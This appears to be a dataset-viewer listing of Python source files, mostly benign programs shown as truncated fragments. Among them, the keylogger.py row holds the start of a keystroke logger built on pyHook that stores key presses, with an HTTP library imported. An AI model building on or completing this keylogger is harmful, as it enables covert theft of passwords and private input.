source
stringlengths
3
86
python
stringlengths
75
1.04M
controller.py
from __future__ import print_function from color import Color from mock import MagicMock, patch from effects import * import os import threading import time try: from neopixel import Adafruit_NeoPixel as Adafruit_Neopixel except ImportError: print("[Neopixel][error] An error occurred importing 'neopixel.Adafru...
_reloader.py
import fnmatch import os import subprocess import sys import threading import time import typing as t from itertools import chain from pathlib import PurePath from ._internal import _log # The various system prefixes where imports are found. Base values are # different when running in a virtualenv. The stat reloader ...
inp.py
import curses import queue import threading import wchar import config import debug class Input(queue.Queue): def __init__(self, ui): super().__init__(0) self.ui = ui self.commands = self.ui.commands self.keys = self.commands.keys self.actions = self.__init_action...
queue_store.py
''' ''' import time import threading import multiprocessing as mp from ctypes import c_bool import remoteobj from . import SharedPointer, Store, Customer, Queue class _RemoteTraceback(Exception): def __init__(self, tb): self.tb = tb def __str__(self): return self.tb class QueueCustomer(Custo...
all.py
from utlis.rank import setrank,isrank,remrank,remsudos,setsudo, GPranks,IDrank from utlis.send import send_msg, BYusers, GetLink,Name,Glang,getAge from utlis.locks import st,getOR from utlis.tg import Bot from config import * from pyrogram import ReplyKeyboardMarkup, InlineKeyboardMarkup, InlineKeyboardButton import t...
websocket_client.py
import signal import ssl import threading from typing import Optional, Callable import websocket STOCKS_CLUSTER = "stocks" FOREX_CLUSTER = "forex" CRYPTO_CLUSTER = "crypto" class WebSocketClient: DEFAULT_HOST = "socket.polygon.io" # TODO: Either an instance of the client couples 1:1 with the cluster or an ...
test__socket.py
# This line can be commented out so that most tests run with the # system socket for comparison. from __future__ import print_function from __future__ import absolute_import from gevent import monkey; monkey.patch_all() import sys import array import socket import time import unittest from functools import wraps fro...
sync.py
# Copyright 2014 OpenStack Foundation # Copyright 2014 Hewlett-Packard Development Company, L.P. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENS...
Concurrent.py
# encoding: utf-8 ''' Created on 2016/02/25 @author: _ ''' import Queue import random import sys import threading import time import weakref WORKER_THREAD_LIFETIME = 3 # seconds THREAD_SIGNAL_TRACE_ENABLED = True # True if threading.settrace hack is enabled _UNUSED_QUEUE_EMPTY = Queue.Empty # S...
utils.py
# Copyright 2012-2019 CERN for the benefit of the ATLAS collaboration. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by...
preprocess_new_lung_data.py
import h5py import SimpleITK as sitk import os, sys sys.path.insert(0,os.path.abspath('..')) sys.path.insert(0,os.path.abspath('.')) sys.path.insert(0,os.path.abspath('../easyreg')) import numpy as np import glob from easyreg.reg_data_utils import write_list_into_txt from tools.image_rescale import resize_input_img_an...
algo_three.py
from functools import reduce from sys import * import numpy as np import random as r import socket import struct import subprocess as sp import threading from threading import Thread import ast import time import datetime as dt import os import psutil from netifaces import interfaces, ifaddresses, AF_INET import paho.m...
actuator_v2.py
# USE ON RASPBERRY PI import socket import RPi.GPIO as GPIO import threading import time # Pin voltage HIGH = GPIO.HIGH LOW = GPIO.LOW # Networking SRC_IP = '10.35.0.1' # The actuator. DST_IP = '10.34.0.1' # The sensor. PORT = 5005 # Port number used for sending and listening. # Message SNT_MSG = 'hello' # The hell...
celery_tasks.py
# -*- coding: utf-8 -*- """ Tencent is pleased to support the open source community by making 蓝鲸智云(BlueKing) available. Copyright (C) 2017 THL A29 Limited, a Tencent company. All rights reserved. Licensed under the MIT License (the "License"); you may not use this file except in compliance with the License. You may obt...
environment.py
# Copyright 2018 Tensorforce Team. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable la...
daemon.py
#!/usr/bin/env python # # Electrum - lightweight Bitcoin client # Copyright (C) 2015 Thomas Voegtlin # # Permission is hereby granted, free of charge, to any person # obtaining a copy of this software and associated documentation files # (the "Software"), to deal in the Software without restriction, # including without...
server.py
import backoff import grpc import logging import queue import redis import threading import time import uuid import log from server.app.battleships_pb2 import Attack, Response, Status from server.app.battleships_pb2_grpc import BattleshipsServicer from server.app.game import Game from server.app.message import Message ...
test_lowlevel.py
import datetime import unittest import threading from opentracing.mocktracer import MockTracer from mock import patch from elasticsearch import Elasticsearch from elasticsearch_opentracing import TracingTransport, init_tracing, \ enable_tracing, disable_tracing, set_active_span, get_active_span, _clear_tracing_st...
__init__.py
from ledfx.utils import BaseRegistry, RegistryLoader from abc import abstractmethod from threading import Thread from ledfx.events import DeviceUpdateEvent, Event import voluptuous as vol import numpy as np import importlib import pkgutil import logging import time import os import re _LOGGER = logging.getLogger(__nam...
generic_light_sensor.py
from abc import abstractmethod, ABC from threading import Thread from time import sleep BRIGHTNESS_MOV_AVE_SAMPLES = 20 # number of samples used in the moving average for the brightness (response time [s] ~ samples_number*sample_interval) BRIGHTNESS_SAMPLE_INTERVAL = 0.5 # period in s for the br...
instlMisc.py
#!/usr/bin/env python3.9 import shlex import threading from collections import namedtuple from .instlInstanceBase import InstlInstanceBase from . import connectionBase from pybatch import * import utils import psutil # noinspection PyUnresolvedReferences,PyUnresolvedReferences,PyUnresolvedReferences class InstlMisc...
shed_app_test_utils.py
from collections import namedtuple import contextlib import shutil import socket from time import time as now from tempfile import mkdtemp import threading from requests import post from werkzeug.serving import run_simple from .shed_app import ( app, InMemoryShedDataModel, ) from galaxy.util.sockets import un...
test_capi.py
# Run the _testcapi module tests (tests for the Python/C API): by defn, # these are all functions _testcapi exports whose name begins with 'test_'. from collections import OrderedDict import _thread import importlib.machinery import importlib.util import os import pickle import random import re import subprocess impo...
checker.py
# MIT License # # Copyright (c) 2018-2019 Yuxin (Ryan) Wang # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modi...
wsgi_restart.py
# This code lifted from the mod_wsgi docs. from __future__ import print_function import os import sys import signal import threading import atexit import Queue _interval = 1.0 _times = {} _files = [] _running = False _queue = Queue.Queue() _lock = threading.Lock() def _restart(path): _queue.put(True) prefix...
CameraController.py
import sys import threading import logging import os import io import datetime import time import socket import Controller class CameraController(Controller.Controller): TAG_EZ_IMAGE = bytearray(b"EZIMG") def __init__(self, name, server, resolution, framerate, log_level): self.name = name sel...
captchaServer.py
#coding:utf-8 portList=(8889,)#本服务器监听端口 import tornado.ioloop import tornado.web import numpy as np from time import sleep #import shutil #import os from random import random from io import BytesIO from PIL import Image from base64 import b64decode import utils model = utils.loadmodel('Model.json', 'Wei...
pinger_thread.py
import os import threading from timeit import default_timer as timer def pinger(): pinger = os.popen('ping www.bbc.co.uk') print list(pinger) threads = [] for _ in range(4): t = threading.Thread(target=pinger) threads.append(t) start = timer() for thread in threads: thread.start() for thread ...
emails.py
from threading import Thread from flask import current_app, render_template from flask_mail import Message from wenmo.extensions import mail def _send_async_mail(app, message): with app.app_context(): mail.send(message) def send_mail(to, subject, template, **kwargs): message = Message(current_app...
callbacks_test.py
# Copyright 2016 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applica...
app_gui.py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- from tkinter import * import logging import os import threading from tkinter.filedialog import askdirectory from tkinter.messagebox import askokcancel from tkinter.filedialog import askopenfilename from tkinter.messagebox import showinfo from tkinter.messagebox import sho...
performance_test.py
import datetime import itertools import json import logging import os import random import shutil import string import sys import threading from typing import List, Dict, Tuple from history.attempted import remove_already_attempted, write_attempted_tests from cloud.clouds import Cloud, CloudRegion, interregion_distan...
pydeproxy_examples.py
import ssl import urlparse import socket import deproxy import tornado from tornado import httpclient import threading # Example socket based responder class CustomResponder: def send_response(self, wfile, response): """ Send the given Response over the socket. Add Server and Date heade...
mtprint2.py
import time import threading def hello(a, b): time.sleep(3) print('Hello', a, b) if __name__ == '__main__': for i in range(3): t = threading.Thread(target=hello, args=('aaa', 'bbb')) t.start() # 启动工作线程,调用target(*args)
gridsearch.py
from sklearn.metrics import confusion_matrix from threading import Thread import time from Queue import Queue, Empty import multiprocessing from lib.in_subject_cross_validation import * import lib.in_subject_cross_validation as libcv import sys import argparse q = Queue() # Performs recursive feature elimination un...
tlsc.py
#!/usr/bin/env python import sys import logging import socket import struct from threading import Event, Thread from util import * import ssl logger = logging.getLogger('client') logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(message)s') STOP = Event() c_cont=ssl.create_default_context() s_cont=ssl.S...
labScan.py
import paramiko from multiprocessing import Process, Queue import datetime import config import pickle import os.path import math import re import discord import botClient as bc import asyncio import time import threading import sys class LabScan(): def __init__(self, configfile): self.labs = {} se...
command_handlers.py
#!/usr/bin/env python3 # # Copyright (c) 2020, The OpenThread Authors. # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # 1. Redistributions of source code must retain the above copyright # ...
test_throttle.py
#!@PYTHON_EXECUTABLE@ # MIT License # # Copyright (c) 2018, The Regents of the University of California, # through Lawrence Berkeley National Laboratory (subject to receipt of any # required approvals from the U.S. Dept. of Energy). All rights reserved. # # Permission is hereby granted, free of charge, to any person o...
web.py
import requests import http.server import socketserver import configparser import threading import time import os from shutil import copyfile def refresh(url, name): while True: r = requests.get(url) #print(r.headers.get('content-type')) with open('html/cache/'+name+'.jpg', 'wb') as f: f....
_optimize.py
from concurrent.futures import FIRST_COMPLETED from concurrent.futures import Future from concurrent.futures import ThreadPoolExecutor from concurrent.futures import wait import copy import datetime import gc import itertools import math import os import sys from threading import Event from threading import Thread impo...
utility.py
import os import math import time import datetime from multiprocessing import Process from multiprocessing import Queue from scipy import signal from skimage.metrics import structural_similarity as ssim import matplotlib matplotlib.use('Agg') import matplotlib.pyplot as plt import numpy as np import imageio import t...
SimonVoiceGame.py
"""Welcome to Joe Ricci's Simon Says Game In this game you can speak to your computer as your input instead of typing or clicking. You will see a splash screen with instructions. Follow the instructions shown on display to play the game. Another option is that you can enable the Debug mode and ...
test_auto_scheduler_task_scheduler.py
# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not u...
reminder.py
import time import threading import os import playsound import random import json ftime=0 ptime=0 start = -1 with open('./config.json') as f: config = json.load(f) TIME = config['time']*60 a_files=os.listdir("./Audio_Files/") def input_func(): global ftime,ptime,start startevent.set() print(f"Welc...
convert.py
import os import sys import asyncio import subprocess import os.path import time import threading import tempfile import logging import mimetypes import pprint from functools import partial from io import BytesIO from concurrent.futures import ThreadPoolExecutor from tempfile import gettempdir import uno import unohe...
controlsd.py
#!/usr/bin/env python3 import os import math import requests import threading from numbers import Number from cereal import car, log from common.numpy_fast import clip from common.realtime import sec_since_boot, config_realtime_process, Priority, Ratekeeper, DT_CTRL from common.profiler import Profiler from common.par...
pmac.py
from gpiozero import Button from w1thermsensor import W1ThermSensor from time import sleep import RPi.GPIO as GPIO import I2C_LCD_driver import json import threading import os import sys config_file = os.path.join(sys.path[0], './config.json') outsideTemp = 0 insideTemp = 0 fan_on = False with open(config_file) as cf...
test_sync_clients.py
# ------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for # license information. # -------------------------------------------------------------------------- import py...
final.py
import pyautogui from imutils import face_utils from scipy.spatial import distance as dist import cv2 from Camera import camera import imutils import dlib import numpy as np import time import os from get_key import k_check from Feature import contour from modelsNN import inception_v3 as gnet LR = 1e-3 WI...
HiwinRA605_socket_ros_test_20190625193603.py
#!/usr/bin/env python3 # license removed for brevity #接收策略端命令 用Socket傳輸至控制端電腦 import socket ##多執行序 import threading import time ## import sys import os import numpy as np import rospy import matplotlib as plot from std_msgs.msg import String from ROS_Socket.srv import * from ROS_Socket.msg import * import HiwinRA605_s...
dataset.py
import os import random from Queue import Queue from threading import Thread import time from PIL import Image import numpy def shuffle(data): perm = range(len(data)) random.shuffle(perm) shuffled = [data[i] for i in perm] return shuffled def load_image_file(data_dir, join_path=False, image_suffix='.jpg', label=...
app.py
import threading import sys, os, time import glob, json, argparse, copy import socket, webbrowser from wsgiref.simple_server import WSGIRequestHandler, make_server from bottle import * from serial_manager import SerialManager from batterySimulator import TimeMachine waitEvent = threading.Event() tm = TimeMachine() A...
util_test.py
# Copyright 2014 Scalyr Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, so...
watchout_3.0.py
from subprocess import STDOUT import sys from tf.transformations import rotation_matrix sys.path.insert(0, './yolov5') from yolov5.utils.datasets import LoadImages, LoadStreams,LoadWebcam,LoadRealsense from yolov5.utils.general import check_img_size, non_max_suppression, scale_coords from yolov5.utils.torch_utils impo...
cpuinfo.py
#!/usr/bin/env python # -*- coding: UTF-8 -*- # Copyright (c) 2014-2021 Matthew Brennan Jones <matthew.brennan.jones@gmail.com> # Py-cpuinfo gets CPU info with pure Python 2 & 3 # It uses the MIT License # It is hosted at: https://github.com/workhorsy/py-cpuinfo # # Permission is hereby granted, free of charge, to any...
wsg50_gripper.py
import rospy from wsg_50_common.msg import Cmd, Status from visual_mpc.envs.robot_envs import GripperInterface import logging from threading import Semaphore, Lock, Thread import time import numpy as np GRIPPER_CLOSE = 6 # chosen so that gripper closes entirely without pushing against itself GRIPPER_OPEN = 96 # c...
general_stuff.py
import os from time import sleep as sleep, sleep as zz, sleep as sp from os import system, makedirs from subprocess import Popen, getoutput, check_output from json_field import JSONField from facebook_business.adobjects.targetingsearch import TargetingSearch from facebook_business.adobjects.targeting import Targe...
buck.py
# Copyright 2004-present Facebook. All rights reserved. import functools import glob import json import logging import os import subprocess import sys import tempfile import threading from collections import namedtuple from json.decoder import JSONDecodeError from logging import Logger from typing import Dict, Iterab...
lambda_function.py
#!/usr/bin/python # -*- coding: utf-8 -*- ############################################################################## # Copyright 2017 Amazon.com, Inc. or its affiliates. All Rights Reserved. # # # # Licensed under the Amazon Software Lic...
analysis_subprocess.py
##################################################################### # # # /analysis_subprocess.py # # # # Copyright 2013, Monash University ...
evaluate.py
import sys import multiprocessing as mp import multiprocessing.queues as mpq from IPython.core.interactiveshell import InteractiveShell from IPython.utils import io from PyQt5.QtCore import QObject, QThread, pyqtSignal class StdoutQueue(mpq.Queue): """ Multiprocessing Queue to be used in place of a simple...
manager.py
from multiprocessing import Process, Manager, current_process import os, time, signal, sys def f(d, l): def _sh(sig, _): if sig == signal.SIGTERM: print "_sh -> c: {0}, p: {1}".format(os.getpid(), os.getppid()) sys.exit(0) signal.signal(signal.SIGTERM, _sh) d[1] = '1' ...
httpd.py
#!/usr/bin/env python """ Copyright (c) 2014-2021 Maltrail developers (https://github.com/stamparm/maltrail/) See the file 'LICENSE' for copying permission """ from __future__ import print_function import datetime import glob import gzip import hashlib import io import json import mimetypes import os import re import...
armory.py
# Armory 3D Engine # https://github.com/armory3d/armory bl_info = { "name": "Armory", "category": "Render", "location": "Properties -> Render -> Armory Player", "description": "3D Game Engine for Blender", "author": "Armory3D.org", "version": (0, 6, 0), "blender": (2, 80, 0), "wiki_url":...
redfishMockupServer.py
# Copyright Notice: # Copyright 2016-2019 DMTF. All rights reserved. # License: BSD 3-Clause License. For full text see link: https://github.com/DMTF/Redfish-Mockup-Server/blob/master/LICENSE.md # redfishMockupServer.py # tested and developed Python 3.4 import sys import argparse import time import collections import...
modelxray.py
#!/usr/bin/env python import logging import argparse import ConfigParser import os import sys import subprocess import json import time from multiprocessing import Manager,Process import progressbar class ModelXRay: """ modelxray is a static Android APK analysis tool that extract all the useful informatio...
train_sampling_multi_gpu.py
import os import dgl import numpy as np import torch as th import torch.nn as nn import torch.nn.functional as F import torch.optim as optim import dgl.multiprocessing as mp import dgl.nn.pytorch as dglnn import time import math import argparse from torch.nn.parallel import DistributedDataParallel import tqdm from mod...
dask_mpi.py
import logging import math import os from threading import Thread from distributed import Scheduler, Worker from mpi4py import MPI from tornado import gen from tornado.ioloop import IOLoop logger = logging.getLogger(__name__) def _start_scheduler(): logger.info("Starting scheduler...") loop = IOLoop.current...
wandb_run.py
# File is generated by: tox -e codemod # -*- coding: utf-8 -*- from __future__ import print_function import atexit from datetime import timedelta import glob import json import logging import numbers import os import platform import re import sys import threading import time import traceback import click import requ...
clean.py
#!/usr/bin/env python3 """ Clean each capnp recording of any unfinished writing as it will crash otherwise """ import argparse from multiprocessing import Process from pathlib import Path from shutil import copyfile import derp.util def clean(topic, path, tmp_path): """ Cleaning is simply the act of writing only ...
dev_stream_everything_and_unicorn_fy.py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # # File: dev_stream_everything_and_unicorn_fy.py # # Part of ‘UnicornFy’ # Project website: https://github.com/oliver-zehentleitner/unicorn-fy # Documentation: https://oliver-zehentleitner.github.io/unicorn-fy # PyPI: https://pypi.org/project/unicorn-fy # # Author: Oliver...
mark.py
from set_mark.namu import namu import re import html import sqlite3 import urllib.parse import threading import multiprocessing def load_conn2(data): global conn global curs conn = data curs = conn.cursor() def send_parser(data): if not re.search('^<br>$', data): data = html.escape(data)...
object_storage_bulk_delete.py
# coding: utf-8 # Copyright (c) 2016, 2022, Oracle and/or its affiliates. All rights reserved. # This software is dual-licensed to you under the Universal Permissive License (UPL) 1.0 as shown at https://oss.oracle.com/licenses/upl or Apache License 2.0 as shown at http://www.apache.org/licenses/LICENSE-2.0. You may c...
ThreadPoolMixIn.py
from socketserver import ThreadingMixIn import threading from queue import Queue, Empty class ThreadPoolMixIn(ThreadingMixIn): """Mix-in class to handle requests in a thread pool. The pool grows and thrinks depending on load. For instance, a threading UDP server class is created as follows: class ThreadPoolingUDPS...
map_dataset_op_test.py
# Copyright 2017 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applica...
test_generator_mt19937.py
import sys import hashlib import pytest import numpy as np from numpy.linalg import LinAlgError from numpy.testing import ( assert_, assert_raises, assert_equal, assert_allclose, assert_warns, assert_no_warnings, assert_array_equal, assert_array_almost_equal, suppress_warnings) from numpy.random import G...
test_shared.py
import sys import time import torch from torch.multiprocessing import Process from torch.multiprocessing import Queue, SimpleQueue from torch.multiprocessing import JoinableQueue #q = SimpleQueue() #q = Queue() q = JoinableQueue() def torch_shared_mem_process(shared_memory): counter = 0 start = time.time...
autotrader.py
#!/usr/bin/env python # -*- coding: utf-8 -*- # Author: terryh.tp at gmail.com # wxPython import wx from wx.lib.wordwrap import wordwrap from wxobject import MyFrame, M, C, D, S import os import sys import logging import re import datetime import subprocess import shlex import tempfile import multiprocessing import m...
cal_connectivity.py
from dk_metric import image_metrics import os from multiprocessing import Process, Lock, Manager import numpy as np import time import sys gt_folder = sys.argv[1] prop_folder = sys.argv[2] lock = Lock() Thread_Cnt = 16 Threshold = 0.4 * 255 def cal_connectivity(files, l, threshold): # sTP, sFP, sFN, msTP, msFP,...
app.py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # @author : microfat # @time : 04/21/22 11:37:59 # @File : app.py import hashlib import threading import json from pygments import highlight, lexers, formatters from flask import Flask, request app = Flask(__name__) class Handle: def __init__(self): pa...
webcam_runner.py
# Copyright (c) OpenMMLab. All rights reserved. import logging import sys import time import warnings from contextlib import nullcontext from threading import Thread from typing import Dict, List, Optional, Tuple, Union import cv2 from .nodes import NODES from .utils import (BufferManager, EventManager, FrameMessage,...
zipf_from_dir.py
"""ZipfFromDir create a Zipf from a directory with text files.""" from glob import glob from multiprocessing import Manager, Process, cpu_count, Queue, Value from multiprocessing.managers import BaseManager from os import walk from os.path import join import queue import time from ...factories import ZipfFromFile from...
DownloadManager.py
from googleapiclient.discovery import build from apiclient.http import MediaFileUpload, MediaIoBaseDownload import io import threading import csv import time class DownloadManager: def __init__(self, creds): self.creds = creds def downloadFile(self, fid, fname): service = build('drive','v3'...
demo4.py
#!/usr/bin/env python # -*- coding: utf-8 -*- """ Topic: 进程间通信 Desc : Process之间肯定是需要通信的,操作系统提供了很多机制来实现进程间的通信。 Python的multiprocessing模块包装了底层的机制,提供了Queue、Pipes等多种方式来交换数据。 我们以Queue为例,在父进程中创建两个子进程,一个往Queue里写数据,一个从Queue里读数据 """ from multiprocessing import Process, Queue import os, time, random # 写数据进程执行的代码: def write(q):...
__main__.py
import voicemeeter from ctypes import cast, POINTER from comtypes import CLSCTX_ALL from pycaw.pycaw import AudioUtilities, IAudioEndpointVolume import time from PIL import Image import pystray import threading import pkgutil kind = 'banana' voicemeeter.launch(kind) devices = AudioUtilities.GetSpeakers() interface = ...
TCPserver.py
from socket import * from threading import Thread while True: PORT = input("请指定服务器端口\n>>>") try: PORT = int(PORT) except: print("请输入纯数字的端口号") else: break print("正在等待客户端连接......") def recv(): while True: recv_data= newSocket.recv(1024) print('客户端:', recv_data.decode('gbk')) def send_msg...
util.py
# Electrum - lightweight Bitcoin client # Copyright (C) 2011 Thomas Voegtlin # # Permission is hereby granted, free of charge, to any person # obtaining a copy of this software and associated documentation files # (the "Software"), to deal in the Software without restriction, # including without limitation the rights t...
main_window.py
import re import os import sys import time import datetime import traceback from decimal import Decimal import threading import electrum_zaap from electrum_zaap.bitcoin import TYPE_ADDRESS from electrum_zaap import WalletStorage, Wallet from electrum_zaap_gui.kivy.i18n import _ from electrum_zaap.paymentrequest import...
bot_server.py
# Copyright (c) Microsoft Corporation. # Licensed under the MIT license. import os import sys sys.path.append('../../') from convlab.agent import Body from convlab.agent import DialogAgent from convlab.spec import spec_util from convlab.env import make_env import time import numpy as np import copy from f...
YeelightServer.py
import time import re import json import socket import threading import base64 import logging import urllib import sys import errno from thirdparty.YLBaseServer import YLBaseServer reload(sys) sys.setdefaultencoding('utf8') class Message: def __str__(self): return ' '.join(['%s:%s' % item for item in s...
Presenter.py
# This Python file uses the following encoding: utf-8 import threading from PySide2.QtCore import Slot, Signal, QObject, QThread from PySide2.QtGui import QImage import Camera import ImageProcessor import SerialCommunicator class Presenter(QObject): ''' Main class for model-view communications It commun...
keylogger.py
import pythoncom, pyHook, requests import tempfile import threading import time def keyPressed(event): global store mappings = {8: "<backspace>", 13: "\n", 27: "<esc>", 32: " ", 46: "<del>", 91: "<win>", 160: "<shft>", 162: "<ctrl>", 163: "<r-ctrl>", 164: "<alt>", 165: "<ralt>", 9: "<tab>",...
vc.py
# -*- coding: utf-8 -*- """Prompt formatter for simple version control branches""" # pylint:disable=no-member, invalid-name import os import sys import queue import builtins import threading import subprocess import re import pathlib import xonsh.tools as xt from xonsh.lazyasd import LazyObject RE_REMOVE_ANSI = Lazy...
services_test_app.py
# Copyright 2015 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or a...
simplecontroller.py
from gui.pyevents import PyEvents from gui.simplegui import SimpleGUI from .controller import Controller from drone import Tello import pygame import threading import time class SimpleController(Controller): UP_DIR = "up" DOWN_DIR = "down" LEFT_DIR = "left" RIGHT_DIR = "right" W_DIR = "w" S_DIR...
can_replay.py
#!/usr/bin/env python3 import os import time import threading from tqdm import tqdm os.environ['FILEREADER_CACHE'] = '1' from common.basedir import BASEDIR from common.realtime import config_realtime_process, Ratekeeper, DT_CTRL from selfdrive.boardd.boardd import can_capnp_to_can_list from tools.lib.logreader import...
webhook.py
''' webhook.py pj@mrpjevans.com Create a WebHook at ifttt.com to do, well, whatever you want! Maybe send an email to begin with. You'll give it a trigger name which is used to create a URL something like the following: https://maker.ifttt.com/trigger/{trigger_name}/with/key/{your_key} Replace those two values in {} ...
cli.py
''' CLI entry point for the knot ''' import os import click import threading from knot import config from knot.lib import detect_server @click.group() def main(): '''display help''' @main.command() def build(): '''executes predefined docker build command''' os.chdir(config.project_path('..')) ext = '...
methodX.py
#!/usr/bin/env python #-*- coding: utf-8 -*- import sys import esxi import threading import subprocess import sms from settings import Settings from cleaner import cleanDiskSpace from socketserver import * import time datastores = esxi.datastoresPath() if len(datastores) > 0: settings = Settings(datastores[0]) ...